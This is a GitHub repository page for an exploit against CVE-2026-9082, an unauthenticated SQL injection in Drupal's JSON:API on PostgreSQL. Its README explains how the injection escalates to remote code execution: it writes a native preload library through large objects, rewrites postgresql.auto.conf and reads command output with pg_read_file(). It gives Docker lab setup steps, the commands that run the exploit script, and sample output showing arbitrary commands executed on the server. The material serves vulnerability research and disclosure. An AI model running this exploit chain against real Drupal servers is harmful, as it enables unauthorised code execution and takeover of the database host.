Skip to content

ambionics/cve-2026-9082-drupal-postgresql-rce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-9082 Drupal PostgreSQL SQLi to RCE

This repository contains a local lab and a short exploit for the Drupal JSON:API PostgreSQL SQL injection described in the Ambionics article.

The important part of the exploit is the PostgreSQL escalation: once the injection can evaluate a SELECT expression as a PostgreSQL superuser, it writes a native preload library through large objects, reloads postgresql.auto.conf, triggers session_preload_libraries, and retrieves command output with pg_read_file().

The exploit reads version() first and builds the PostgreSQL module magic block for the detected major version. It handles the PostgreSQL 12, 13-14, 15-17, and 18+ module ABI layouts. The local compiler must still produce a shared object for the same CPU architecture as the target PostgreSQL server.

The lab uses PostgreSQL 18.4, the latest PostgreSQL release at the time of writing. The PostgreSQL escalation path has been tested from PostgreSQL 12.20 through PostgreSQL 18.4.

Contents

.
├── docker-compose.yml
├── drupal/
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md

The lab uses:

Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache

Drupal is connected to PostgreSQL as the postgres superuser so the SELECT-only SQL injection can be escalated to RCE.

Requirements

docker compose version
python3 --version
cc --version

Example output:

Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

Start the lab

Build and start the containers:

docker compose build --quiet
docker compose up -d

Expected output:

Container cve9082-pg18    Started
Container cve9082-drupal  Started

Wait for Drupal to become healthy:

docker compose ps

Expected output:

NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)

The lab listens on:

http://127.0.0.1:8089

Verify the lab

Check the PostgreSQL version:

docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'

Expected output:

PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

Check that JSON:API exposes the seeded article:

curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'

Expected output:

{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}

Install Python dependency

python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

Expected output:

Successfully installed requests-...

Run the exploit

Execute id through the unauthenticated JSON:API SQL injection:

python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id

Expected output:

[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes

Run another command:

python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'

Expected output:

[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0

Stop the lab

Stop containers but keep the database volume:

docker compose down

Stop containers and delete the database volume:

docker compose down -v

About

No description, website, or topics provided.

Resources

Stars

10 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors